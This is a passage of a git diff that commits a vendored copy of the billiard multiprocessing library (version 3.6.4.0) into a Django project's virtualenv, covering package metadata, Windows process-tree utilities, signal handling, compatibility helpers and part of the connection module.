+billiard/popen_forkserver.py,sha256=Ow8Rr6WjrYrJqsNE5ljnNEAbgleXyQXurn59qNlmDIs,1829 +billiard/popen_spawn_posix.py,sha256=Z2jsrtRWd-LAGacckULHyvxOpE61Ne7fp-Mel3FRvR8,1981 +billiard/popen_spawn_win32.py,sha256=8_cHhSa9jiwkDU7txMVJctjGuj0UoZxm9CF5Hj0s_0s,3591 +billiard/process.py,sha256=PRJDWKPQHUByPTtU1BtmFh6FOCfIbhkysaVjW9e6ndY,11138 +billiard/queues.py,sha256=ckMNodfWoYrKA6fAR3Hwamj4HZdwzAumYYQOpseUPxY,12778 +billiard/reduction.py,sha256=VXGE8g4pzhaPrIefdo-_LVTP-hIRvxo2mMOk9MveDYo,9429 +billiard/resource_sharer.py,sha256=OuKRJ2k0IwMUn8ykZ4lJ1p30X9sPc_UbHToXnJmqXf8,5361 +billiard/semaphore_tracker.py,sha256=PEhEgEJ8v7KbyYjzkmgxosRqnP3w50oC2Q9gHUeCEQU,4893 +billiard/sharedctypes.py,sha256=HuxgwfqDq5zapUBhe_JhASbowcLJ_ZAdky95sYRxtw8,6746 +billiard/spawn.py,sha256=xBVAxE0cWzVZEpGhzm28xFTEZJcHJDRzW1M7jpvhJIg,11779 +billiard/synchronize.py,sha256=lyhels1MI2syYyLqGTpnrexjlnmzCF6h43UKt8YwBHM,13041 +billiard/util.py,sha256=YAwBHvTST0iTyoLJ4Zo8HskwpCKtzvkd_nM_jZYgXL8,6021 diff --git a/django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/WHEEL b/django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/WHEEL new file mode 100644 index 00000000..b552003f --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/WHEEL @@ -0,0 +1,5 @@ +Wheel-Version: 1.0 +Generator: bdist_wheel (0.34.2) +Root-Is-Purelib: true +Tag: py3-none-any + diff --git a/django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/top_level.txt b/django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/top_level.txt new file mode 100644 index 00000000..7ac9b310 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard-3.6.4.0.dist-info/top_level.txt @@ -0,0 +1 @@ +billiard diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/__init__.py b/django_lottopy/lib/python3.10/site-packages/billiard/__init__.py new file mode 100644 index 00000000..9ec84c24 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/__init__.py @@ -0,0 +1,61 @@ +"""Python multiprocessing fork with improvements and bugfixes""" +# +# Package analogous to 'threading.py' but using processes +# +# multiprocessing/__init__.py +# +# This package is intended to duplicate the functionality (and much of +# the API) of threading.py but uses processes instead of threads. A +# subpackage 'multiprocessing.dummy' has the same API but is a simple +# wrapper for 'threading'. +# +# Try calling `multiprocessing.doc.main()` to read the html +# documentation in a webbrowser. +# +# +# Copyright (c) 2006-2008, R Oudkerk +# Licensed to PSF under a Contributor Agreement. +# + +from __future__ import absolute_import + +import sys +from . import context + +VERSION = (3, 6, 4, 0) +__version__ = '.'.join(map(str, VERSION[0:4])) + "".join(VERSION[4:]) +__author__ = 'R Oudkerk / Python Software Foundation' +__author_email__ = 'python-dev@python.org' +__maintainer__ = 'Asif Saif Uddin' +__contact__ = "auvipy@gmail.com" +__homepage__ = "https://github.com/celery/billiard" +__docformat__ = "restructuredtext" + +# -eof meta- + +# +# Copy stuff from default context +# + +globals().update((name, getattr(context._default_context, name)) + for name in context._default_context.__all__) +__all__ = context._default_context.__all__ + +# +# XXX These should not really be documented or public. +# + +SUBDEBUG = 5 +SUBWARNING = 25 + +# +# Alias for main module -- will be reset by bootstrapping child processes +# + +if '__main__' in sys.modules: + sys.modules['__mp_main__'] = sys.modules['__main__'] + + +def ensure_multiprocessing(): + from ._ext import ensure_multiprocessing + return ensure_multiprocessing() diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/_ext.py b/django_lottopy/lib/python3.10/site-packages/billiard/_ext.py new file mode 100644 index 00000000..29f25552 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/_ext.py @@ -0,0 +1,34 @@ +from __future__ import absolute_import + +import sys + +supports_exec = True + +from .compat import _winapi as win32 # noqa + +if sys.platform.startswith("java"): + _billiard = None +else: + try: + import _billiard # noqa + except ImportError: + import _multiprocessing as _billiard # noqa + supports_exec = False + + +def ensure_multiprocessing(): + if _billiard is None: + raise NotImplementedError("multiprocessing not supported") + + +def ensure_SemLock(): + try: + from _billiard import SemLock # noqa + except ImportError: + try: + from _multiprocessing import SemLock # noqa + except ImportError: + raise ImportError("""\ +This platform lacks a functioning sem_open implementation, therefore, +the required synchronization primitives needed will not function, +see issue 3770.""") diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/_win.py b/django_lottopy/lib/python3.10/site-packages/billiard/_win.py new file mode 100644 index 00000000..edd43a26 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/_win.py @@ -0,0 +1,116 @@ +# -*- coding: utf-8 -*- +""" + billiard._win + ~~~~~~~~~~~~~ + + Windows utilities to terminate process groups. + +""" +from __future__ import absolute_import + +import os + +# psutil is painfully slow in win32. So to avoid adding big +# dependencies like pywin32 a ctypes based solution is preferred + +# Code based on the winappdbg project http://winappdbg.sourceforge.net/ +# (BSD License) +from ctypes import ( + byref, sizeof, windll, + Structure, WinError, POINTER, + c_size_t, c_char, c_void_p, +) +from ctypes.wintypes import DWORD, LONG + +ERROR_NO_MORE_FILES = 18 +INVALID_HANDLE_VALUE = c_void_p(-1).value + + +class PROCESSENTRY32(Structure): + _fields_ = [ + ('dwSize', DWORD), + ('cntUsage', DWORD), + ('th32ProcessID', DWORD), + ('th32DefaultHeapID', c_size_t), + ('th32ModuleID', DWORD), + ('cntThreads', DWORD), + ('th32ParentProcessID', DWORD), + ('pcPriClassBase', LONG), + ('dwFlags', DWORD), + ('szExeFile', c_char * 260), + ] +LPPROCESSENTRY32 = POINTER(PROCESSENTRY32) + + +def CreateToolhelp32Snapshot(dwFlags=2, th32ProcessID=0): + hSnapshot = windll.kernel32.CreateToolhelp32Snapshot(dwFlags, + th32ProcessID) + if hSnapshot == INVALID_HANDLE_VALUE: + raise WinError() + return hSnapshot + + +def Process32First(hSnapshot, pe=None): + return _Process32n(windll.kernel32.Process32First, hSnapshot, pe) + + +def Process32Next(hSnapshot, pe=None): + return _Process32n(windll.kernel32.Process32Next, hSnapshot, pe) + + +def _Process32n(fun, hSnapshot, pe=None): + if pe is None: + pe = PROCESSENTRY32() + pe.dwSize = sizeof(PROCESSENTRY32) + success = fun(hSnapshot, byref(pe)) + if not success: + if windll.kernel32.GetLastError() == ERROR_NO_MORE_FILES: + return + raise WinError() + return pe + + +def get_all_processes_pids(): + """Return a dictionary with all processes pids as keys and their + parents as value. Ignore processes with no parents. + """ + h = CreateToolhelp32Snapshot() + parents = {} + pe = Process32First(h) + while pe: + if pe.th32ParentProcessID: + parents[pe.th32ProcessID] = pe.th32ParentProcessID + pe = Process32Next(h, pe) + + return parents + + +def get_processtree_pids(pid, include_parent=True): + """Return a list with all the pids of a process tree""" + parents = get_all_processes_pids() + all_pids = list(parents.keys()) + pids = {pid} + while 1: + pids_new = pids.copy() + + for _pid in all_pids: + if parents[_pid] in pids: + pids_new.add(_pid) + + if pids_new == pids: + break + + pids = pids_new.copy() + + if not include_parent: + pids.remove(pid) + + return list(pids) + + +def kill_processtree(pid, signum): + """Kill a process and all its descendants""" + family_pids = get_processtree_pids(pid) + + for _pid in family_pids: + os.kill(_pid, signum) diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/common.py b/django_lottopy/lib/python3.10/site-packages/billiard/common.py new file mode 100644 index 00000000..0b7bec20 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/common.py @@ -0,0 +1,169 @@ +# -*- coding: utf-8 -*- +""" +This module contains utilities added by billiard, to keep +"non-core" functionality out of ``.util``.""" +from __future__ import absolute_import + +import os +import signal +import sys + +import pickle as pypickle +try: + import cPickle as cpickle +except ImportError: # pragma: no cover + cpickle = None # noqa + +from .exceptions import RestartFreqExceeded +from .five import monotonic + +pickle = cpickle or pypickle +pickle_load = pickle.load +pickle_loads = pickle.loads + +# cPickle.loads does not support buffer() objects, +# but we can just create a StringIO and use load. +if sys.version_info[0] == 3: + from io import BytesIO +else: + try: + from cStringIO import StringIO as BytesIO # noqa + except ImportError: + from StringIO import StringIO as BytesIO # noqa + +SIGMAP = dict( + (getattr(signal, n), n) for n in dir(signal) if n.startswith('SIG') +) +for _alias_sig in ('SIGHUP', 'SIGABRT'): + try: + # Alias for deprecated signal overwrites the name we want + SIGMAP[getattr(signal, _alias_sig)] = _alias_sig + except AttributeError: + pass + + +TERM_SIGNAL, TERM_SIGNAME = signal.SIGTERM, 'SIGTERM' +REMAP_SIGTERM = os.environ.get('REMAP_SIGTERM') +if REMAP_SIGTERM: + TERM_SIGNAL, TERM_SIGNAME = ( + getattr(signal, REMAP_SIGTERM), REMAP_SIGTERM) + + +TERMSIGS_IGNORE = {'SIGTERM'} if REMAP_SIGTERM else set() +TERMSIGS_FORCE = {'SIGQUIT'} if REMAP_SIGTERM else set() + +EX_SOFTWARE = 70 + +TERMSIGS_DEFAULT = { + 'SIGHUP', + 'SIGQUIT', + TERM_SIGNAME, + 'SIGUSR1', + 'SIGUSR2' +} + +TERMSIGS_FULL = { + 'SIGHUP', + 'SIGQUIT', + 'SIGTRAP', + 'SIGABRT', + 'SIGEMT', + 'SIGSYS', + 'SIGPIPE', + 'SIGALRM', + TERM_SIGNAME, + 'SIGXCPU', + 'SIGXFSZ', + 'SIGVTALRM', + 'SIGPROF', + 'SIGUSR1', + 'SIGUSR2', +} + +#: set by signal handlers just before calling exit. +#: if this is true after the sighandler returns it means that something +#: went wrong while terminating the process, and :func:`os._exit` +#: must be called ASAP. +_should_have_exited = [False] + + +def human_status(status): + if (status or 0) < 0: + try: + return 'signal {0} ({1})'.format(-status, SIGMAP[-status]) + except KeyError: + return 'signal {0}'.format(-status) + return 'exitcode {0}'.format(status) + + +def pickle_loads(s, load=pickle_load): + # used to support buffer objects + return load(BytesIO(s)) + + +def maybe_setsignal(signum, handler): + try: + signal.signal(signum, handler) + except (OSError, AttributeError, ValueError, RuntimeError): + pass + + +def _shutdown_cleanup(signum, frame): + # we will exit here so if the signal is received a second time + # we can be sure that something is very wrong and we may be in + # a crashing loop. + if _should_have_exited[0]: + os._exit(EX_SOFTWARE) + maybe_setsignal(signum, signal.SIG_DFL) + _should_have_exited[0] = True + sys.exit(-(256 - signum)) + + +def signum(sig): + return getattr(signal, sig, None) + + +def _should_override_term_signal(sig, current): + return ( + sig in TERMSIGS_FORCE or + (current is not None and current != signal.SIG_IGN) + ) + + +def reset_signals(handler=_shutdown_cleanup, full=False): + for sig in TERMSIGS_FULL if full else TERMSIGS_DEFAULT: + num = signum(sig) + if num: + if _should_override_term_signal(sig, signal.getsignal(num)): + maybe_setsignal(num, handler) + for sig in TERMSIGS_IGNORE: + num = signum(sig) + if num: + maybe_setsignal(num, signal.SIG_IGN) + + +class restart_state(object): + RestartFreqExceeded = RestartFreqExceeded + + def __init__(self, maxR, maxT): + self.maxR, self.maxT = maxR, maxT + self.R, self.T = 0, None + + def step(self, now=None): + now = monotonic() if now is None else now + R = self.R + if self.T and now - self.T >= self.maxT: + # maxT passed, reset counter and time passed. + self.T, self.R = now, 0 + elif self.maxR and self.R >= self.maxR: + # verify that R has a value as the result handler + # resets this when a job is accepted. If a job is accepted + # the startup probably went fine (startup restart burst + # protection) + if self.R: # pragma: no cover + self.R = 0 # reset in case someone catches the error + raise self.RestartFreqExceeded("%r in %rs" % (R, self.maxT)) + # first run sets T + if self.T is None: + self.T = now + self.R += 1 diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/compat.py b/django_lottopy/lib/python3.10/site-packages/billiard/compat.py new file mode 100644 index 00000000..b5ce7c76 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/compat.py @@ -0,0 +1,312 @@ +from __future__ import absolute_import + +import errno +import numbers +import os +import sys + +from .five import range, zip_longest + +if sys.platform == 'win32': + try: + import _winapi # noqa + except ImportError: # pragma: no cover + from _multiprocessing import win32 as _winapi # noqa +else: + _winapi = None # noqa + +try: + import resource +except ImportError: # pragma: no cover + resource = None + +try: + from io import UnsupportedOperation + FILENO_ERRORS = (AttributeError, ValueError, UnsupportedOperation) +except ImportError: # pragma: no cover + # Py2 + FILENO_ERRORS = (AttributeError, ValueError) # noqa + + +if sys.version_info > (2, 7, 5): + buf_t, is_new_buffer = memoryview, True # noqa +else: + buf_t, is_new_buffer = buffer, False # noqa + +if hasattr(os, 'write'): + __write__ = os.write + + if is_new_buffer: + + def send_offset(fd, buf, offset): + return __write__(fd, buf[offset:]) + + else: # Py<2.7.6 + + def send_offset(fd, buf, offset): # noqa + return __write__(fd, buf_t(buf, offset)) + +else: # non-posix platform + + def send_offset(fd, buf, offset): # noqa + raise NotImplementedError('send_offset') + + +try: + fsencode = os.fsencode + fsdecode = os.fsdecode +except AttributeError: + def _fscodec(): + encoding = sys.getfilesystemencoding() + if encoding == 'mbcs': + errors = 'strict' + else: + errors = 'surrogateescape' + + def fsencode(filename): + """ + Encode filename to the filesystem encoding with 'surrogateescape' + error handler, return bytes unchanged. On Windows, use 'strict' + error handler if the file system encoding is 'mbcs' (which is the + default encoding). + """ + if isinstance(filename, bytes): + return filename + elif isinstance(filename, str): + return filename.encode(encoding, errors) + else: + raise TypeError("expect bytes or str, not %s" + % type(filename).__name__) + + def fsdecode(filename): + """ + Decode filename from the filesystem encoding with 'surrogateescape' + error handler, return str unchanged. On Windows, use 'strict' error + handler if the file system encoding is 'mbcs' (which is the default + encoding). + """ + if isinstance(filename, str): + return filename + elif isinstance(filename, bytes): + return filename.decode(encoding, errors) + else: + raise TypeError("expect bytes or str, not %s" + % type(filename).__name__) + + return fsencode, fsdecode + + fsencode, fsdecode = _fscodec() + del _fscodec + + +if sys.version_info[0] == 3: + bytes = bytes +else: + _bytes = bytes + + # the 'bytes' alias in Python2 does not support an encoding argument. + + class bytes(_bytes): # noqa + + def __new__(cls, *args): + if len(args) > 1: + return _bytes(args[0]).encode(*args[1:]) + return _bytes(*args) + + +def maybe_fileno(f): + """Get object fileno, or :const:`None` if not defined.""" + if isinstance(f, numbers.Integral): + return f + try: + return f.fileno() + except FILENO_ERRORS: + pass + + +def get_fdmax(default=None): + """Return the maximum number of open file descriptors + on this system. + + :keyword default: Value returned if there's no file + descriptor limit. + + """ + try: + return os.sysconf('SC_OPEN_MAX') + except: + pass + if resource is None: # Windows + return default + fdmax = resource.getrlimit(resource.RLIMIT_NOFILE)[1] + if fdmax == resource.RLIM_INFINITY: + return default + return fdmax + + +def uniq(it): + """Return all unique elements in ``it``, preserving order.""" + seen = set() + return (seen.add(obj) or obj for obj in it if obj not in seen) + + +try: + closerange = os.closerange +except AttributeError: + + def closerange(fd_low, fd_high): # noqa + for fd in reversed(range(fd_low, fd_high)): + try: + os.close(fd) + except OSError as exc: + if exc.errno != errno.EBADF: + raise + + def close_open_fds(keep=None): + # must make sure this is 0-inclusive (Issue #celery/1882) + keep = list(uniq(sorted( + f for f in map(maybe_fileno, keep or []) if f is not None + ))) + maxfd = get_fdmax(default=2048) + kL, kH = iter([-1] + keep), iter(keep + [maxfd]) + for low, high in zip_longest(kL, kH): + if low + 1 != high: + closerange(low + 1, high) +else: + def close_open_fds(keep=None): # noqa + keep = [maybe_fileno(f) + for f in (keep or []) if maybe_fileno(f) is not None] + for fd in reversed(range(get_fdmax(default=2048))): + if fd not in keep: + try: + os.close(fd) + except OSError as exc: + if exc.errno != errno.EBADF: + raise + + +def get_errno(exc): + """:exc:`socket.error` and :exc:`IOError` first got + the ``.errno`` attribute in Py2.7""" + try: + return exc.errno + except AttributeError: + try: + # e.args = (errno, reason) + if isinstance(exc.args, tuple) and len(exc.args) == 2: + return exc.args[0] + except AttributeError: + pass + return 0 + +try: + import _posixsubprocess +except ImportError: + def spawnv_passfds(path, args, passfds): + if sys.platform != 'win32': + # when not using _posixsubprocess (on earlier python) and not on + # windows, we want to keep stdout/stderr open... + passfds = passfds + [ + maybe_fileno(sys.stdout), + maybe_fileno(sys.stderr), + ] + pid = os.fork() + if not pid: + close_open_fds(keep=sorted(f for f in passfds if f)) + os.execv(fsencode(path), args) + return pid +else: + def spawnv_passfds(path, args, passfds): + passfds = sorted(passfds) + errpipe_read, errpipe_write = os.pipe() + try: + args = [ + args, [fsencode(path)], True, tuple(passfds), None, None, + -1, -1, -1, -1, -1, -1, errpipe_read, errpipe_write, + False, False] + if sys.version_info >= (3, 9): + args.extend((None, None, None, -1)) # group, extra_groups, user, umask + args.append(None) # preexec_fn + return _posixsubprocess.fork_exec(*args) + finally: + os.close(errpipe_read) + os.close(errpipe_write) + + +if sys.platform == 'win32': + + def setblocking(handle, blocking): + raise NotImplementedError('setblocking not implemented on win32') + + def isblocking(handle): + raise NotImplementedError('isblocking not implemented on win32') + +else: + from os import O_NONBLOCK + from fcntl import fcntl, F_GETFL, F_SETFL + + def isblocking(handle): # noqa + return not (fcntl(handle, F_GETFL) & O_NONBLOCK) + + def setblocking(handle, blocking): # noqa + flags = fcntl(handle, F_GETFL, 0) + fcntl( + handle, F_SETFL, + flags & (~O_NONBLOCK) if blocking else flags | O_NONBLOCK, + ) + + +E_PSUTIL_MISSING = """ +On Windows, the ability to inspect memory usage requires the psutil library. + +You can install it using pip: + + $ pip install psutil +""" + + +E_RESOURCE_MISSING = """ +Your platform ({0}) does not seem to have the `resource.getrusage' function. + +Please open an issue so that we can add support for this platform. +""" + + +if sys.platform == 'win32': + + try: + import psutil + except ImportError: # pragma: no cover + psutil = None # noqa + + def mem_rss(): + # type () -> int + if psutil is None: + raise ImportError(E_PSUTIL_MISSING.strip()) + return int(psutil.Process(os.getpid()).memory_info()[0] / 1024.0) + +else: + try: + from resource import getrusage, RUSAGE_SELF + except ImportError: # pragma: no cover + getrusage = RUSAGE_SELF = None # noqa + + if 'bsd' in sys.platform or sys.platform == 'darwin': + # On BSD platforms :man:`getrusage(2)` ru_maxrss field is in bytes. + + def maxrss_to_kb(v): + # type: (SupportsInt) -> int + return int(v) / 1024.0 + + else: + # On Linux it's kilobytes. + + def maxrss_to_kb(v): + # type: (SupportsInt) -> int + return int(v) + + def mem_rss(): + # type () -> int + if resource is None: + raise ImportError(E_RESOURCE_MISSING.strip().format(sys.platform)) + return maxrss_to_kb(getrusage(RUSAGE_SELF).ru_maxrss) diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/connection.py b/django_lottopy/lib/python3.10/site-packages/billiard/connection.py new file mode 100644 index 00000000..627ed9b6 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/connection.py @@ -0,0 +1,1037 @@ +# -*- coding: utf-8 -*- +# +# A higher level module for using sockets (or Windows named pipes) +# +# multiprocessing/connection.py +# +# Copyright (c) 2006-2008, R Oudkerk +# Licensed to PSF under a Contributor Agreement. +# + +from __future__ import absolute_import + +import errno +import io +import os +import sys +import socket +import select +import struct +import tempfile +import itertools + +from . import reduction +from . import util + +from . import AuthenticationError, BufferTooShort +from ._ext import _billiard +from .compat import setblocking, send_offset +from .five import monotonic +from .reduction import ForkingPickler + +try: + from .compat import _winapi +except ImportError: + if sys.platform == 'win32': + raise + _winapi = None +else: + if sys.platform == 'win32': + WAIT_OBJECT_0 = _winapi.WAIT_OBJECT_0 + WAIT_ABANDONED_0 = _winapi.WAIT_ABANDONED_0 + + WAIT_TIMEOUT = _winapi.WAIT_TIMEOUT + INFINITE = _winapi.INFINITE + +__all__ = ['Client', 'Listener', 'Pipe', 'wait'] + +is_pypy = hasattr(sys, 'pypy_version_info') + +# +# +# + +BUFSIZE = 8192 +# A very generous timeout when it comes to local connections... +CONNECTION_TIMEOUT = 20. + +_mmap_counter = itertools.count() + +default_family = 'AF_INET' +families = ['AF_INET'] + +if hasattr(socket, 'AF_UNIX'): + default_family = 'AF_UNIX' + families += ['AF_UNIX'] + +if sys.platform == 'win32': + default_family = 'AF_PIPE' + families += ['AF_PIPE'] + + +def _init_timeout(timeout=CONNECTION_TIMEOUT): + return monotonic() + timeout + + +def _check_timeout(t): + return monotonic() > t + +# +# +# + + +def arbitrary_address(family): + ''' + Return an arbitrary free address for the given family + ''' + if family == 'AF_INET': + return ('localhost', 0) + elif family == 'AF_UNIX': + return tempfile.mktemp(prefix='listener-', dir=util.get_temp_dir()) + elif family == 'AF_PIPE': + return tempfile.mktemp(prefix=r'\\.\pipe\pyc-%d-%d-' % + (os.getpid(), next(_mmap_counter)), dir="") + else: + raise ValueError('unrecognized family') + + +def _validate_family(family): + ''' + Checks if the family is valid for the current environment. + ''' + if sys.platform != 'win32' and family == 'AF_PIPE': + raise ValueError('Family %s is not recognized.' % family) + + if sys.platform == 'win32' and family == 'AF_UNIX': + # double check + if not hasattr(socket, family): + raise ValueError('Family %s is not recognized.' % family) + + +def address_type(address): + ''' + Return the types of the address + + This can be 'AF_INET', 'AF_UNIX', or 'AF_PIPE' + ''' + if type(address) == tuple: + return 'AF_INET' + elif type(address) is str and address.startswith('\\\\'): + return 'AF_PIPE' + elif type(address) is str: + return 'AF_UNIX' + else: + raise ValueError('address type of %r unrecognized' % address) + +# +# Connection classes +# + + +class _SocketContainer(object): + + def __init__(self, sock): + self.sock = sock + + +class _ConnectionBase(object): + _handle = None + + def __init__(self, handle, readable=True, writable=True): + if isinstance(handle, _SocketContainer): + self._socket = handle.sock # keep ref so not collected + handle = handle.sock.fileno() + handle = handle.__index__() + if handle < 0: + raise ValueError("invalid handle") + if not readable and not writable: + raise ValueError( + "at least one of `readable` and `writable` must be True") + self._handle = handle + self._readable = readable + self._writable = writable + + # XXX should we use util.Finalize instead of a __del__? + + def __del__(self): + if self._handle is not None: + self._close() + + def _check_closed(self): + if self._handle is None: + raise OSError("handle is closed") + + def _check_readable(self): + if not self._readable: + raise OSError("connection is write-only") + + def _check_writable(self): + if not self._writable: + raise OSError("connection is read-only") + + def _bad_message_length(self): + if self._writable: + self._readable = False + else: + self.close() + raise OSError("bad message length") + + @property + def closed(self): + """True if the connection is closed""" + return self._handle is None + + @property + def readable(self): + """True if the connection is readable""" + return self._readable + + @property + def writable(self): + """True if the connection is writable""" + return self._writable + + def fileno(self): + """File descriptor or handle of the connection""" + self._check_closed() + return self._handle + + def close(self): + """Close the connection""" + if self._handle is not None: + try: + self._close() + finally: + self._handle = None + + def send_bytes(self, buf, offset=0, size=None): + """Send the bytes data from a bytes-like object""" + self._check_closed() + self._check_writable() + m = memoryview(buf) + # HACK for byte-indexing of non-bytewise buffers (e.g. array.array) + if m.itemsize > 1: + m = memoryview(bytes(m)) + n = len(m) + if offset < 0: + raise ValueError("offset is negative") + if n < offset: + raise ValueError("buffer length < offset") + if size is None: + size = n - offset + elif size < 0: + raise ValueError("size is negative") + elif offset + size > n: + raise ValueError("buffer length < offset + size") + self._send_bytes(m[offset:offset + size]) + + def send(self, obj): + """Send a (picklable) object""" + self._check_closed() + self._check_writable() + self._send_bytes(ForkingPickler.dumps(obj)) + + def recv_bytes(self, maxlength=None): + """ + Receive bytes data as a bytes object. + """ + self._check_closed() + self._check_readable() + if maxlength is not None and maxlength < 0: + raise ValueError("negative maxlength") + buf = self._recv_bytes(maxlength) + if buf is None: + self._bad_message_length() + return buf.getvalue() + + def recv_bytes_into(self, buf, offset=0): + """ + Receive bytes data into a writeable bytes-like object. + Return the number of bytes read. + """ + self._check_closed() + self._check_readable() + with memoryview(buf) as m: + # Get bytesize of arbitrary buffer + itemsize = m.itemsize + bytesize = itemsize * len(m) + if offset < 0: + raise ValueError("negative offset") + elif offset > bytesize: + raise ValueError("offset too large") + result = self._recv_bytes() + size = result.tell() + if bytesize < offset + size: + raise BufferTooShort(result.getvalue()) + # Message can fit in dest + result.seek(0) + result.readinto(m[ + offset // itemsize:(offset + size) // itemsize + ]) + return size + + def recv(self): + """Receive a (picklable) object""" + self._check_closed() + self._check_readable() + buf = self._recv_bytes() + return ForkingPickler.loadbuf(buf) + + def poll(self, timeout=0.0): + """Whether there is any input available to be read""" + self._check_closed() + self._check_readable() + return self._poll(timeout) + + def __enter__(self): + return self + + def __exit__(self, exc_type, exc_value, exc_tb): + self.close() + + def send_offset(self, buf, offset): + return send_offset(self.fileno(), buf, offset) + + def setblocking(self, blocking): + setblocking(self.fileno(), blocking) + + +if _winapi: + + class PipeConnection(_ConnectionBase): + """ + Connection class based on a Windows named pipe. + Overlapped I/O is used, so the handles must have been created + with FILE_FLAG_OVERLAPPED. + """ + _got_empty_message = False + + def _close(self, _CloseHandle=_winapi.CloseHandle): + _CloseHandle(self._handle) + + def _send_bytes(self, buf): + ov, err = _winapi.WriteFile(self._handle, buf, overlapped=True) + try: + if err == _winapi.ERROR_IO_PENDING: + waitres = _winapi.WaitForMultipleObjects( + + [ov.event], False, INFINITE) + assert waitres == WAIT_OBJECT_0 + except: + ov.cancel() + raise + finally: + nwritten, err = ov.GetOverlappedResult(True) + assert err == 0 + assert nwritten == len(buf) + + def _recv_bytes(self, maxsize=None): + if self._got_empty_message: + self._got_empty_message = False + return io.BytesIO() + else: + bsize = 128 if maxsize is None else min(maxsize, 128) + try: + ov, err = _winapi.ReadFile( + self._handle, bsize, overlapped=True, + ) + try: + if err == _winapi.ERROR_IO_PENDING: + waitres = _winapi.WaitForMultipleObjects( + [ov.event], False, INFINITE) + assert waitres == WAIT_OBJECT_0 + except: + ov.cancel() + raise + finally: + nread, err = ov.GetOverlappedResult(True) + if err == 0: + f = io.BytesIO() + f.write(ov.getbuffer()) + return f + elif err == _winapi.ERROR_MORE_DATA: + return self._get_more_data(ov, maxsize) + except OSError as e: + if e.winerror == _winapi.ERROR_BROKEN_PIPE: + raise EOFError + else: + raise + raise RuntimeError( + "shouldn't get here; expected KeyboardInterrupt") + + def _poll(self, timeout): + if (self._got_empty_message or + _winapi.PeekNamedPipe(self._handle)[0] != 0): + return True + return bool(wait([self], timeout)) + + def _get_more_data(self, ov, maxsize): + buf = ov.getbuffer() + f = io.BytesIO() + f.write(buf) + left = _winapi.PeekNamedPipe(self._handle)[1] + assert left > 0 + if maxsize is not None and len(buf) + left > maxsize: + self._bad_message_length() + ov, err = _winapi.ReadFile(self._handle, left, overlapped=True) + rbytes, err = ov.GetOverlappedResult(True) + assert err == 0 + assert rbytes == left + f.write(ov.getbuffer()) + return f + + +class Connection(_ConnectionBase): + """ + Connection class based on an arbitrary file descriptor (Unix only), or + a socket handle (Windows). + """ + + if _winapi: + def _close(self, _close=_billiard.closesocket): + _close(self._handle) + _write = _billiard.send + _read = _billiard.recv + else: + def _close(self, _close=os.close): + _close(self._handle) + _write = os.write + _read = os.read + + def _send(self, buf, write=_write): + remaining = len(buf) + while True: + try: + n = write(self._handle, buf) + except (OSError, IOError, socket.error) as exc: + if getattr(exc, 'errno', None) != errno.EINTR: + raise + else: + remaining -= n + if remaining == 0: + break + buf = buf[n:] + + def _recv(self, size, read=_read): + buf = io.BytesIO() + handle = self._handle + remaining = size + while remaining > 0: + try: + chunk = read(handle, remaining) + except (OSError, IOError, socket.error) as exc: + if getattr(exc, 'errno', None) != errno.EINTR: + raise + else: + n = len(chunk) + if n == 0: + if remaining == size: + raise EOFError + else: + raise OSError("got end of file during message") + buf.write(chunk) + remaining -= n + return buf + + def _send_bytes(self, buf, memoryview=memoryview): + n = len(buf) + # For wire compatibility with 3.2 and lower + header = struct.pack("!i", n) + if n > 16384: + # The payload is large so Nagle's algorithm won't be triggered + # and we'd better avoid the cost of concatenation. + self._send(header) + self._send(buf) + else: + # Issue #20540: concatenate before sending, to avoid delays due + # to Nagle's algorithm on a TCP socket. + # Also note we want to avoid sending a 0-length buffer separately, + # to avoid "broken pipe" errors if the other end closed the pipe. + if isinstance(buf, memoryview): + buf = buf.tobytes() + self._send(header + buf) + + def _recv_bytes(self, maxsize=None): + buf = self._recv(4) + size, = struct.unpack("!i", buf.getvalue()) + if maxsize is not None and size > maxsize: + return None + return self._recv(size) + + def _poll(self, timeout): + r = wait([self], timeout) + return bool(r) + + +# +# Public functions +# + +class Listener(object): + ''' + Returns a listener object. + + This is a wrapper for a bound socket which is 'listening' for + connections, or for a Windows named pipe. + ''' + def __init__(self, address=None, family=None, backlog=1, authkey=None): + family = (family or + (address and address_type(address)) or default_family) + address = address or arbitrary_address(family) + + _validate_family(family) + if family == 'AF_PIPE': + self._listener = PipeListener(address, backlog) + else: + self._listener = SocketListener(address, family, backlog) + + if authkey is not None and not isinstance(authkey, bytes): + raise TypeError('authkey should be a byte string') + + self._authkey = authkey + + def accept(self): + ''' + Accept a connection on the bound socket or named pipe of `self`. + + Returns a `Connection` object. + ''' + if self._listener is None: + raise OSError('listener is closed') + c = self._listener.accept() + if self._authkey: + deliver_challenge(c, self._authkey) + answer_challenge(c, self._authkey) + return c + + def close(self): + ''' + Close the bound socket or named pipe of `self`. + ''' + listener = self._listener + if listener is not None: + self._listener = None + listener.close() + + address = property(lambda self: self._listener._address) + last_accepted = property(lambda self: self._listener._last_accepted) + + def __enter__(self): + return self + + def __exit__(self, exc_type, exc_value, exc_tb): + self.close() + + +def Client(address, family=None, authkey=None): + ''' + Returns a connection to the address of a `Listener` + ''' + family = family or address_type(address) + _validate_family(family) + if family == 'AF_PIPE': + c = PipeClient(address) + else: + c = SocketClient(address) + + if authkey is not None and not isinstance(authkey, bytes): + raise TypeError('authkey should be a byte string') + + if authkey is not None: + answer_challenge(c, authkey) + deliver_challenge(c, authkey) + + return c + + +def detach(sock): + if hasattr(sock, 